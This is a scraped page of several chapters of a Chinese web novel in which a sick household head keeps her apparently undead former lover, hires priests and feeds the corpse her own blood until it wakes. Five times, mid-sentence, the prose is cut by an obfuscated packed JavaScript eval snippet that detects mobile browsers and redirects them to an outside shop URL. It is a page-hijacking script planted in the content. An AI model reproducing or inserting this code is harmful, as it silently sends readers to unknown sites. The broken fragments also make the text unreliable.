之前因为先入为主的念头,季沅绫直接把黎栎笙当成活人看待,所以也没有试探对方的鼻息,于是现在看起来倒像是她把人给治死了。 季沅绫的脸色快要变得和眼前的病人以及死人一样了,怎么可能会死呢?她还没来得及扎对方的要害穴位,这几针不至于要了人的命,而且就算扎到那些关键的穴位,她三岁就开始学习医术,那银针刺穴的位置也不会有一分一毫的差错。 “怎么会这样……”季沅绫开始自我怀疑,难道是自己哪里没有注意到,所以酿成了惨祸吗? 闻釉崖抱着怀里冰冷的尸体,那深入骨髓的寒意再一次攀上她的心脏,在不知不觉间,她口中的鲜血一滴一滴地落在黎栎笙的衣服上。 “季大夫,这个黑红色的血是什么?”许洢有一种不好的预感,她看着黎栎笙衣服上疑似是血的液体,心中浮现出一种猜测,她一边用内力帮闻釉崖稳住身体内息,一边问季沅绫。 “这、这是黑狗血,我不小心撒到这位姑娘身上了。”季沅绫话音刚落,也忽然意识到了什么,脸色骤然变得有些惊恐,“难道……” 黑狗血的功效发作了?! 巧合之下,她们都以为黎栎笙忽然晕过去是因为被黑狗血克制了。 许洢倒吸一口凉气,她立刻用内力让季沅绫闭上了嘴,这话可不能继续说下去了! 如果是活人,这个姑娘的身份会非常可疑,但如果确定她是真僵尸,那么几乎可以肯定她就是从坟里出来的黎相,毕竟幕后那些人只会培养出一些类似僵尸的活体怪物,如果能制造出真的僵尸,天下早就大乱了! 黎相若是回来,无论是人还是僵尸,都能让家主有活下去的盼头,可如果被一碗黑狗血泼没了,那还不如从一开始就别让闻釉崖知道真相。 “黑狗血?”闻釉崖已经是强弩之末,意志稍弱一些的人早就晕过去了,她的耳畔传来持续的嗡鸣声,让她有些听不清旁边两个人说的话,但是黑狗血这三个字还是穿透了嗡鸣传到她的耳中。 “季沅绫,你说清楚。”闻釉崖盯着她,这下许洢也没办法阻止。 “我、我……我有些怕她真的是僵尸,都说黑狗血能够克制邪祟,我就带了一些有备无患,我来的时候发现这姑娘的情况有些邪性,就想沾一点试试她,结果不小心撒出来了许多。”季沅绫的声音抖得厉害,看到闻釉崖不停咳血的样子后,她骤然回过神,随后立刻从自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192964|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药箱中取出了密封的丹丸喂给闻釉崖。 可闻釉崖抱着怀里的尸体,眼神略有些空洞,并不吃季沅绫喂过来的保命药丸。 “家主,早在我看到这姑娘的第一天就觉得她全无活人的样子,原本以为她修炼了什么邪功,现在看来……情况似乎超出了我们的预想,您若想查真相就先吃药吧!您甘心真相没有查出来就闭上眼吗?”季沅绫了解闻釉崖的身体,所以一眼就能看出她现在的情况非常危急! 季沅绫的话触动了闻釉崖,虽然她的眼底依然没有光,但是也木然地张开嘴,咽下了那颗保命的丹药。 黑狗血、邪祟…… 那些乱七八糟的线索在闻釉崖的脑海中串联,也让她头痛欲裂,她紧紧抱着怀里的尸体,许洢想要帮忙接过来都做不到。 闻釉崖不怕黎栎笙变成冤魂厉鬼或是什么乱七八糟的邪祟找回来,她只怕死了的人找不到回来的路。 仍记得她抓住这个人的第一天,对方就在她的耳畔说:“我已经死了。” 邪祟怕黑狗血,怕佛珠,她颤抖着手解开了黎栎笙的衣服,将沾了黑狗血的外衣脱下扔到一边,而黎栎笙藏在衣服里的各种陪葬品“叮铃咣啷”掉了一地。 许洢看了一眼就知道方便携带的陪葬品几乎全在这,山上的两波贼人恐怕做梦都想不到值钱的玩意儿全被疑似正主的僵尸带走了。 闻釉崖的手腕上还有一串常年戴着的佛珠,她当机立断将佛珠扯下来扔到一边,也不知是不是巧合,佛珠七年来都没有出现问题的线在她扯下来的那一瞬断了,价值连城的珠子滚落一地。 这一切都好似在预示着她怀里的那个人非常邪乎,但闻釉崖不在乎,她想将怀里的人抱起来,可受身体影响实在做不到。 “许洢……去、去让人将附近最有名的道士和尚都找过来……”闻釉崖不但没能站起来,视线还在一阵眩晕后被漆黑取代。 她咬着牙,几乎用尽所有力气攥紧了暗卫的手腕,交代了自己最后的吩咐。 17. 养尸 “滴、滴、滴……” 陷入黑暗中的黎栎笙隐隐听到了奇怪的声音,那个滴滴声很有节奏,也让她有些熟悉,似乎是叫什么……电子音? 黎栎笙的脑海深处又蹦出了一个陌生的词汇,她有了一点意识,但身体很沉,无法彻底醒过来。 她有点着急,如果自己醒不来的话,还不知道外面的人要怎么处理自己这个僵尸。 没过多久,黎栎笙又听到自己的耳边隐隐约约传来了念经的声音,似乎有道士也有和尚。 同时传过来的还有一股呛人的烟味,黎栎笙的心跌入了谷底,那些人不会真要把自己烧了吧? 她努力想要醒过来,但意识就像被沉入了沼泽中一样,好像越挣扎就会陷得越深。 黎栎笙挣扎了许久都没有成功,最后她疲惫的意识只能听天由命了。 那呛人的烟味越来越浓,黎栎笙所在的屋子里隐隐可见火光,不过她并没有被架在柴堆上。 现实中的场景和黎栎笙想象的颇为不同,在外头燃烧的并非柴火而是各种符纸,和她一样惴惴不安的还有那群被称为大师的和尚道士。 这几位普通人眼中颇为厉害的得道高人在烟熏火燎下也不由得冒出了冷汗,虽然百姓们将他们说的很玄乎,但他们只是厉害在谈经论道上,还有个别的善于哄骗百姓。 可如果说到真本事,在场没有一位拥有超过普通人的能耐,而这个府邸的主人就像得了失心疯,一开口就让他们给出养尸的法子! 有些大师读的书多,还真的知道一些古籍上记载的养尸手段,但这些手段都是邪术,谁家正经人会弄这个? 而且就算是看过那些记载的人,也不确定书上写的法子是不是真的。 闻釉崖出手大方,他们本想着随便弄一些法事糊弄过去拿钱走人,但闻釉崖的钱没有他们想象的那样好拿。 他们没日没夜地守了一具尸体整整三天,那位家主的意思似乎是没有成效就不许他们走!可这东西能有什么成效,难不成要让那具尸体当场尸变才行吗? 那他们的法事做到死也不可能成功啊!如果有这样的能耐,他们早就成仙成佛了! 但是他们的旁边一直有护卫守着,就连躲懒都不行,稍有些走神,都可能会有一把利剑架到他们的脖子上。 三天了,这群道士和尚着急,闻府的下属以及乌宵月也着急。 前者担心他们家主的身体熬不住,后者不仅担心闻釉崖,同样也想知道屋里的那个死人到底是怎么回事!难不成真的是僵尸吗? 郑筱将熬好的药端到闻釉崖的床边,自那天之后,家主喝药不再需要人催了,她也不再抗拒皇宫那边送来的各种珍稀草药丹丸,可家主现在能睡着的时间变得很短很短,几乎睡一会就会惊醒。 大夫在她的药中放了不少安神的草药,可依然起不了太大的作用,这样下去家主的身体迟早得出大问题。 “那边、有消息吗?”闻釉崖的眉眼间满是疲惫,她已经不记得自己问了多少遍和这一模一样的问题。 “没有。”郑筱瞥开视线,她不忍心看到家主失望的样子。 若是可以,她真的想亲自去将那具尸体摇醒。 闻釉崖还是没有习惯这个答案,失望与疲惫交织在她的眼眸中,最后她无力地垂下了眸子。 她也想过那些道士和尚可能是骗子,但这不是人力可及的事情,除了让这些人试一试,自己还能有什么办法呢? 在江湖的传说中有一个名为正天观的地方,说是藏在仙山之中,那里的人都有真才实学,可惜那些人的踪迹更为飘渺,她派人去寻了,但不知道什么时候才能找到。 这些天闻釉崖睡着的时间很短,一闭上眼就会做噩梦。 在梦中,有时是黎栎笙抱着自己哭,她说黑狗血浇在身上后很疼,有时是她冷眼瞧着自己,说她竟然信了敌人弄来的一个冒牌货,真是愚蠢。 每次醒来后,她只觉得比彻夜没睡还要疲惫。 “家主,您得先照顾好自己的身体,那位、那位……姑娘一定能醒过来的,无论她是谁,您只有养好了身体才能有精力去调查这件事情啊。”郑筱的眼眶微红,她从盒子里拿出那串修复好的佛珠放到闻釉崖手中。 “您继续带着这个睡吧,或许能让您的精神好一点。” 这是黎相当年亲手为家主带上的佛串,这个宝贝能够养心静神,驱邪除祸,说的非常玄乎,反正就是不许家主取下,家主应下了,哪怕这些年再怨怼那个人,她也没有将这个东西扔到看不见的角落里。 如今看来,或许丞相真的没有夸大其词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204778|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 闻釉崖接过佛珠,一点一点捻过刻满经文的珠子,当年黎栎笙将此物交给自己时的欢喜模样仿佛又在她眼前浮现。 她闭上了眼,将那道身影驱散。 “我的身体没那么虚弱了,正好外面没风,我去那边看看吧。”闻釉崖想去放着尸体的院子看看。 闻釉崖不是不想留在那里,但是那边的烧了不知多少符纸,之前她在那坐了一会就被呛到咳血,最后只能回来休养。 郑筱听后赶忙道:“您在那里除了会被风吹着凉、被烟呛到外也帮不上什么忙!” 她说得略有些伤人,却也是实话。 闻釉崖微微蹙起眉,看起来浑身上下写着不乐意。 郑筱知道如果家主犟起来的话,自己说的这几句话根本没有用,她绞尽脑汁想了又想,忽然记起了一件差点被自己忘了的事情。 “家主,还有一件事情属下没来得及汇报。” “端王听说丞相的墓被盗,日夜兼程赶了过来,城门那边传来消息,说她已经到了,而赵王庆王那边也送来了信……”郑筱将今日刚送过来的消息告诉了闻釉崖。 那位端王正是皇帝疑心的三王之一,这个节骨眼上跑过来,也不知是不是居心不良。 郑筱想那么重要的事情应该能将家主的注意力转移走吧?她也确实做到了,只是她没想到家主的脸色会骤然变得格外阴沉,甚至直接砸了手中的碗。 “砰!”已经没有汤药的碗被砸在地上,亲,顷刻间就碎了一地。 闻釉崖浑身上下都带着警惕与厌恶,心底翻涌的情绪刺激得她又咳嗽了几声,“咳咳咳……端王?还真会挑时候过来。” “去,告诉所有人把和……那个人有关的消息全部封锁起来,只字片语都不能传出去,如果端王来了,就说我病重见不了客,别让她进来。”闻釉崖深呼吸了几口气,她紧紧攥着手底下的被子,可怜的被子都要被她扯破了。 对闻釉崖来说,那个端王在七年前就是个贼心不死的人,只是一切的恩怨纠葛都因为黎栎笙的死而平息。 而今这里稍有异动,她就日夜兼程赶了过来。 闻釉崖忽然低低地笑了出来,眼底满是寒意与嘲弄。 哪怕是个赝品,她也不会让旁人有染指分毫的机会! 18. 囚困 郑筱在旁边静若寒蝉,等闻釉崖交代完后,她才小心翼翼地劝家主别动肝火。 闻釉崖撑起身子靠在床边,在听到端王那两个字后,她被气得精神都好了一些。 若非乌宵月执行的是秘密任务,不能暴露,她一定会让乌宵月去将那个端王打发了,自己不想见她,但其他人恐怕也奈何不了那位。 端王也差不多快有七年没来这里了,若是心血来潮非要来看看,一般的理由拦不住她。 “郑筱,告诉门口的人,如果端王非要进来,就说府中在办法事,黎栎笙的坟被盗了,尸骨无存,这样的人入不了轮回,会变成孤魂野鬼,所以我在家中让人超度亡魂,这场法事要办九九八十一天,期间不能让外人打扰。”闻釉崖稍稍冷静了一些,大概只有这个理由能让她心甘情愿地回避。 “是。”郑筱收拾好摔在地上的瓷片,领命离开。 屋子再次陷入沉寂,闻釉崖靠在床边喃喃自语道:“都是你惹的债。” 端王,先帝的妹妹,当年她是一个不受宠的可怜皇女,她的母妃在怀着她的时候就因为家族获罪而被打入冷宫,那段时间她是个实打实的可怜人,但她的命运在遇到黎栎笙的那一天起被彻底改变了。 她用黎栎笙给的一张丹方在那一心修仙的先帝面前露了脸,之后封王、获赐封地、手握实权……最后连人都惦记上了! 如今又阴魂不散。 闻釉崖觉得心口因为气闷又隐隐作痛,她深呼吸了几下,可惜没有什么缓解的效果。 闻釉崖脸色苍白地看着窗外阴沉的天空,其实她理解这种被人从绝境里拉出来后步步沦陷的感觉。 端王其实和自己是同一种人,只不过她比自己幸运一些,虽然没能得到黎栎笙的喜欢,但没像自己这样被利用干净最后一丝价值。 也怪那人一天到晚四处赠予的善心! 闻釉崖闭着眼眸靠在床边缓了好一会,可惜心口的闷痛感并没有缓解的趋势。 她忽然睁开眼睛,也顾不上下属的劝阻,穿上衣服就径直朝那个烟雾缭绕的院子走了过去。 本尊也好,赝品也罢,闻釉崖感觉自己心口的不痛快可以去那里和床上的人……或尸体好好分辨。 她将黎栎笙从柴房里挪到了隔壁有床的屋子,那些道士和尚念经的声音明显比前几天虚弱许多。 闻釉崖也没有那么苛刻,这些大师可以轮班做法事,只不过时间一久了,还是有些耗费精神。 在高度紧张的情况下,他们苦熬了三天没能睡好觉,在看到偏院门口出现一道消瘦的身影后,他们甚至被吓得哆嗦了一下。 “我要进去看看她,于法事有碍吗?”闻釉崖冷冰冰的声音响起。 那些大师们几乎异口同声道:“无碍无碍!” 这场用来养僵尸的法事本就是个荒谬的事情,多加个人进去也无所谓了。 “那这场法事何时才能见到成效?”闻釉崖的目光在那些大师的脸上一一划过,她的神色如深不见底的寒潭,心虚的众人纷纷垂下了目光。 看到这些人的反应,闻釉崖只觉得心底泛起了一丝凉意。 看来这些人也只是徒有虚名之辈了。 那些人含含糊糊地给出了一些模棱两可的答案,反正就是不能给一个准信。 闻釉崖的目光越发冰冷深沉,渐渐的,这个偏院中就没人再敢说话了。 她一字未发,径直穿过那些大师往屋子里走。 院子里烟尘翻滚,这屋子里也好不到哪里去。 黎栎笙的床前放了九个火盆,里面燃烧了不知道多少符纸,中间还有一个个头不小的香炉,袅袅白烟飘忽而上,闻釉崖取出手帕捂着口鼻咳嗽起来。 这东西还是太呛人了,如果躺在屋子里的是个活人,这三天的功夫恐怕能被生生呛死。 床在最里面,床幔落下,遮挡住里面那人的身形。 闻釉崖几乎咳得喉头泛起血腥味才渐渐缓下来,她一步一步走到床边,掀起床幔。 那张毫无生机的脸再一次映入她的眼底。 闻釉崖坐在床边,这一路上她想过来到这里就将此人怨怼一顿,若是赝品,她可以起到替身的作用,要是正主那就更好了。 可是真当她坐在床边看到那张脸时,想要说的各种难听话却全都堵在心口,一句都说不出来。 “黎栎笙,到底是不是你从棺材里爬出来了?如果真的是你,既然出来了,又为什么不认我?难道你也会知道心虚,知道对不起我吗?”闻釉崖坐在黎栎笙的身边絮絮叨叨,她想寻求一个答案,可惜躺在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210532|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上的人暂时没办法回答她。 “端王来了,还记得吗?那个你在皇宫里捡到的可怜人,若是让她瞧见了你,恐怕安湘城就要掀起更大的乱子。不过放心吧,我不会像之前那样好说话,曾经我阻止不了你乱捡人的习惯,但是现在我不会让她有接近你的机会。” “等你醒了之后,就安心留在这个府邸中,我不会让端王见到你,更不会让你最心爱的学生见到你。”闻釉崖下俯身,抬手用指腹一点一点描摹黎栎笙的五官。 “我得安排一个合适的身份,让你在乌宵月的眼中消失,不然那人肯定会回去将这里的事情全告诉你的学生,普天之下莫非王土,她要真的想做些什么,我也会很麻烦。” 闻釉崖说了许多自己的怨恨和对未来的安排,可是她说到最后,却渐渐止住了声。 这一切的安排都要建立在眼前这具尸体还能睁开眼睛的前提下,如果她一睡不醒,那自己也依然什么都得不到。 “你还会睁开眼睛的,对吧?”颤抖的声音在安静的房间中响起。 虽然她对黎栎笙充满怨怼,可如果眼前躺着的尸体不是黎栎笙,又或者黎栎笙能在阳世逗留的时间只有这短短几天,她又该怎么办? 尸体没办法回答她,好似让她再次经历七年前的绝望。 有水滴落了下来,那滚烫的温度让沉浸在黑暗中的意识微微一颤。 “砰。” 在闻釉崖的身后传来了轻微的关门声。 “谁?”她冷声询问。 “贫道无虚子,无意打扰姑娘,只不过贫道见姑娘你执念深沉,颇为动容,如果你执意养尸,这些虚有其表的法事没有太大的用处,而贫道这里有一卷无意中得到的养尸秘术,只不过此法有伤天和,若是用在邪道上怕惹下大祸。”在闻釉崖这套像是熬鹰一样的折腾下,终究还是有一位大师撑不住,为她献上了更像回事的东西。 “这几日贫道见姑娘不像是大奸大恶之辈,所以才献上此法。” 闻釉崖面无表情地接过对方手中又薄又旧的古籍,她翻看了一下,书中的句子繁涩难懂,她这个外行看不懂,于是她合上书直接问:“说吧,你有什么方法。” 老道士抬起头,迟疑片刻后才下定决心道:“或许可用极阴之人的血来喂养。” 19. 喂血 所谓极阴之人,是指出生在阴年阴月阴日阴时的人,这类人拥有极阴的命格,魂魄中都沾着阴气,在传说中他们也最容易被鬼怪邪物盯上。 在下葬时,尸体不能沾染阴秽之物,否则就是大不祥之兆,既然这位闻家主想要养出僵尸,那自然要反其道而行之。 如果闻釉崖不着急,懂风水之术的人可以为她找一个养尸地,把尸体放进去养个几年,说不定还真能变成所谓的僵尸。 但这几天遭的罪让老道士知道闻釉崖是不可能同意慢慢来的,如果想要在短时间内达成效果,那只能用一些歪门邪道。 “极阴之人?巧了。”闻釉崖看了一下自己苍白的手,“我就是极阴的命格,之前还有人帮我看过手相,说我命中煞气极重,你看我的血可以用吗?” 极阴命格加煞气重?老道士倒吸了一口凉气,这简直是完美的引子。 老道士迟疑了许久,最终还是语重心长地对闻釉崖道:“姑娘,您的血确实可以用,可是……古书中有云,僵尸是邪祟之物,她就算重返阳间也会变得六亲不认,僵尸醒来之后会先根据血脉的指引杀死至亲,吸食至亲的鲜血,其次她的目标就会是像您这样的极阴之体。” “无论您和这位生前的关系有多要好,当她变成僵尸之后,都不会再是您认识的那个人,而且一旦成了僵尸,她就没办法再入轮回,直至魂飞魄散,这实在是一场煎熬啊。” 道士将书中记载的事情和自己的推测结合在一起,并且有意将事情往夸张的方面说,只希望闻釉崖能够知难而退。 谁知闻釉崖在听完道士说的话后忽然露出了一抹笑容,道士无意中看见了,只是觉得她比床上的那具尸体还要让人瘆得慌。 “六亲不认?”道士说了那么多严重后果,闻釉崖却只关心这四个字。 “是啊,变成僵尸后嗜血的本性会取代人性,她不会是您之前认识的那个人,所以您一定要考虑清楚了。” 但老道士无论如何也想不到,在沉默半晌后闻釉崖竟然冷笑了一声道:“也好啊。” 闻釉崖用指尖轻轻划过黎栎笙的脸,六亲不认……反正对自己又没什么影响,最好让她断了对那个宝贝学生的念想。 她的指尖在碰到黎栎笙嘴角的时候微微顿住,自从遇到这个人以来,她一直病着,日子过得浑浑噩噩,有些记忆浮现在脑海中都会引起阵阵刺痛。 闻釉崖仔细回想一下见到黎栎笙的这几面,这人眼眸中总是带着那位黎相绝不会有的懵懂。 她紧抿着唇,眼底带上了复杂的疑虑。 “我具体要怎么做?”闻釉崖再次看向身后的道士。 “这……直接将血喂到尸体的口中吧,至于时辰和其它问题……容贫道再回去研究一下古籍。”毕竟这么多年来没谁真尝试过这邪门的东西,老道士也只能硬着头皮研究。 “好,那你出去吧,事成之后我会有重谢。”闻釉崖微微摆了摆手。 “那贫道先回去了。”老道士拿着古籍离开了房间。 在房门关上后,闻釉崖唤了一声:“许洢。” 如鬼魅一样的身影出现在闻釉崖的身后。 “去打一盆干净的水来。”闻釉崖吩咐道。 “是。”许洢应了一声。 没一会儿,她就端着一盆干净的水进来了。 闻釉崖将自己的手洗干净,然后从怀中拿出了一把匕首。 匕首出鞘,寒光凛冽。 “家主,那个老道士说的话也不可全信,我看他说话时还带着一份心虚,或许有些事情是他编纂的。”许洢有些担忧地道。 “无妨,不过是用些许血试一试而已。”只要有一丁点可能,她都愿意去尝试。 “你先出去吧。” 许洢也知道自己拗不过家主,于是只将上好的金创药放在了旁边的矮柜上,随后就退出了这个房间。 闻釉崖用匕首在自己的食指指尖上割开了一个小小的口子,血珠立刻渗了出来。 黎栎笙无知无觉地躺在床上,唇色更是格外苍白。 闻釉崖将自己的血抹在她的唇上,为她添了一丝虚假的气色,这样一看,床上的尸体就好像在静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213995|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静安睡,而非已经死去。 当闻釉崖意识到自己在做什么后,她嘲笑了一下自欺欺人的自己。 随后她将自己的指尖放入黎栎笙的口中,虽然床上的人没有呼吸也没有心跳,看上去就是一具彻彻底底的尸体,但到现在为止黎栎笙的身体依旧柔软,没有尸僵的反应,这给了闻釉崖一丝希望。 “黎栎笙,你得醒过来还债,不然你死了也别想安宁。”闻釉崖呢喃着威胁道。 鲜血顺着她的指尖滑入黎栎笙的口中,但不知道是因为血量过少还是这个方法没用,黎栎笙依旧躺在那里一动不动。 闻釉崖的眼眸中划过失望的光,就在她准备将手指收回来的时候,黎栎笙的睫翼忽然颤了颤。 闻釉崖忘了呼吸,她紧紧盯着黎栎笙的眼睛,只怕刚刚是自己的错觉。 黎栎笙在沉入黑暗中的时候一直在听着那扰人的电子“滴滴”声,原本她在闻到那股烟熏火燎的味道后已经放弃挣扎了,甚至还试图和那一直发出声音的怪东西聊天。 直到未知的水滴伴随着滚烫的温度渗入她的意识中,黎栎笙的内心深处忽然生出了一股无比烦躁的感觉。 黎栎笙想醒过来,可总有一股说不清的力量在扯着她的四肢往下拖。 愤怒的情绪涌了上来,她不进反退,直接顺着那股扯着自己的力量深入到意识的深处,越靠近那里,电子的“滴滴”声则越响。 原来是这东西在搞鬼! 也不知道那东西是不是感受到了危险,在黎栎笙即将深入自己意识中那片未知之地时,原本扯着她的力量忽然将人推开。 黎栎笙一下子睁开了眼睛,可能因为醒得过于突然,她的眼眸中还带着些许迷茫。 然后她就瞧见了那双还带着未干泪痕的眼睛。 虽然那位闻姑娘总是一副凶巴巴、甚至偶尔有些疯魔的样子,但这双眼睛总能让人硬不下心。 只是……她为什么要将手指放在自己嘴里? 不明缘由的黎栎笙只能乖乖地含着,看起来就像是被闻釉崖这个坏人胁迫了似的。 20. 审问 难以言说的寂静与尴尬在这房间里蔓延,闻釉崖虽然一副面无表情的样子,但是她藏在发丝间的耳朵已经泛起了红。 “咬够了?”闻釉崖的声音里倒是听不出一丝起伏。 黎栎笙眨巴了一下无辜又困惑的眼眸,有的时候闻釉崖真希望自己能够糊涂一点,这样就不会一眼看出对方言中想要表达出来的情绪。 这人就好像在无声地问自己,分明是自己主动将手指放她嘴里的,现在怎么能倒打一耙呢? 一种名为羞愤的情绪从闻釉崖的心底涌了上来,羞恼有之,愤怒更多,她一下子黑了脸,一副要生气的模样。 “可不是我……”黎栎笙含糊着开口,似乎想要为自己争辩一下。 她一说话,闻釉崖就感觉自己的指尖被湿滑柔软的触感舔舐了好几次,原本只是普通的喂血,现在却平添了几分暧昧。 闻釉崖就像被针扎了似的迅速将手收了回来,黎栎笙眼尖地看到闻釉崖的手指上有一道伤口,她怔愣了一下,也就忘了自己要说的话。 闻釉崖紧绷着一张脸,见黎栎笙没再说话,她就一声不吭地来到水盆旁洗手。 “你的手受伤了?要赶紧上点药。”黎栎笙望着闻釉崖的背影,有些关切地道。 闻釉崖的动作顿了一下,但是没有给回复。 黎栎笙又追问了一句:“你的身体好些了吗?大夫有没有再给你看看?” 黎栎笙感觉闻釉崖看起来比自己昏迷之前要好一些了,只是不晓得这是不是表象,这位姑娘的身子骨可真让人担心。 “与你无关。”闻釉崖背对着黎栎笙发出了一声嗤笑,然后回复她冰冷的四个字。 唉…… 黎栎笙在心中轻轻叹了口气,这位闻姑娘还是一如既往的凶巴巴。 可如果对方的心思和她说的话一样豁达,又怎会红着眼眶呢?刚刚她的样子分明是哭过了。 “可你的眼神分明在说这事与我有关。”黎栎笙的声音轻柔,却也将闻釉崖脆弱的伪装戳破。 黎栎笙看到自己在昏迷中闻到的烟味只是那些火盆和香烛后,也就没有之前那么紧张了,虽然这位闻姑娘每次都一副恨不得杀了自己的样子,但现在看起来,一时半会她应该不会对自己动手。 想到这个,黎栎笙的胆子也就稍稍大了一点。 如果没有什么意外,自己的过去应该和这位闻姑娘有很深的联系,如果发现自己是个僵尸都没有直接把她烧掉或埋喽,那是不是意味着自己还有机会打探以前的事情? 就在黎栎笙觉得自己的未来或许可以渐渐往好的方向发展时,一道凛冽的寒芒一闪而过,锋利的匕首架在了她的脖颈间。 闻釉崖看着她,眼眸中像含着碎冰,有心思被戳破的恼怒,也有一种更深更复杂的情绪。 “我把你救回来,是需要知道一些事情,你最好老实回答,不然……”闻釉崖俯下身,气息落在黎栎笙的脸颊上,她低声威胁道:“哪怕你是个僵尸,只要我把你烧成灰,你也该死透了。” 黎栎笙没有感觉到真正的杀意,但她还是非常乖巧地点点头。 至于闻釉崖想要问什么,黎栎笙倒是想回答她,可是除了自己这个名字外,她还能回答什么呢? “首先,第一个问题。”闻釉崖冷声开口道:“在城外的山脚下有几家农户说见过你,当时你的身上穿的是一件华贵的殓服,你用一根银簪和一个孩子换了件衣服后,就将那件殓服埋在河边。” “说说看,你的那件衣服是怎么来的。” 黎栎笙顿时有些心虚,这些天她还一直在病中,竟然能那么快查到自己下山后的所有事情吗? 匕首贴近她的脖子,黎栎笙明白自己对这个世界毫不了解,瞎编的借口只会漏洞百出,人家一眼就能识破,反正自己最大的秘密已经暴露了,她索性认命道:“要是问这衣服是从哪家裁缝铺出来的,那我也不清楚,我醒过来的时候就穿在身上了。” “你也知道我是什么,城外面那座山上有一处被刨开的坟,你现在去查应该还能查到,我走得匆忙,都没来得及把棺材盖合上……” 听着她没有任何漏洞和编纂痕迹的话,闻釉崖握着匕首的手微微颤抖起来,她好几次都没能稳住自己的手,最后索性将匕首扔到了旁边的矮柜上。 她的心中似是被许多蚂蚁啃咬,疼得她许久才缓过来。 “所以,这根簪子和那些金银首饰也是你从棺材里拿出来的?”闻釉崖压下所有不适感,继续审问。 她从袖子中取出那根银簪,但因为手有些不稳,簪子勾住了一个颜色暗沉的东西,然后被一起带了出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217378|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “嗒。”只听一声脆响,那个小东西摔在了地上。 闻釉崖弯腰去捡,黎栎笙也看到了那枚自己心心念念、却被旁人捡走的长命锁。 黎栎笙下意识飞快地伸手去拿,甚至顾不上自己差点从床上摔下来,她的速度很快,竟比闻釉崖快一步拿到了长命锁。 “这个……也是我的。”长命锁到手后黎栎笙才意识到自己的动作有些不妥,她小心翼翼地看着脸色更加阴沉的闻釉崖,然后露出了讨好的笑。“你说的没错,那些都是棺材里的,其它东西我都可以送你,只是这个不行。” “为什么不行?”闻釉崖攥紧的手背隐隐泛起青筋,为什么……她还能露出一副珍视的模样? “……”黎栎笙沉默良久,然后才有些迟疑地说出四个字:“我不知道。” “我不记得了,但是它很重要。”她将握着长命锁的手藏进了被子里,好像生怕闻釉崖来抢。 闻釉崖深呼吸一口气,与这个长命锁有关的种种往事在她心底浮现,心底的酸涩与疼痛再难压抑。 既然说不记得了,那为什么非要执着于这个不值钱的长命锁?这到底是长命锁,还是想要她性命的锁? 旁边香炉中的烟飘到空中,闻釉崖深呼吸的时候被呛了一下,她单薄的身子咳得微微发颤,不久后她的指缝中渗出了血。 黎栎笙赶忙坐起身想要拍拍她的后背,帮闻釉崖顺气,但是那人躲开了她的手。 她的身子骨真弱啊……黎栎笙捏着自己手中的长命锁,想了想后还是将长命锁放回闻釉崖的手心。 “你先拿着吧,别丢了,等身体好一点再给我,我去喊大夫。” “先给我?”闻釉崖哑着嗓子看向黎栎笙。 “长命锁保平安,留个好兆头嘛,希望你能平平安安,长命百岁。” 她的目光柔柔,就好似当年那个人对自己说:“我的釉崖,你要平平安安,长命百岁。” 可偏偏是赠与她祝福的人却想杀了自己,何其讽刺悲哀,想到自己被耍得团团转的过往,闻釉崖的眼眸中划过一抹哀恸,随后转化为恨,并毫不留情地直接将黎栎笙手中的长命锁拍落在地上。 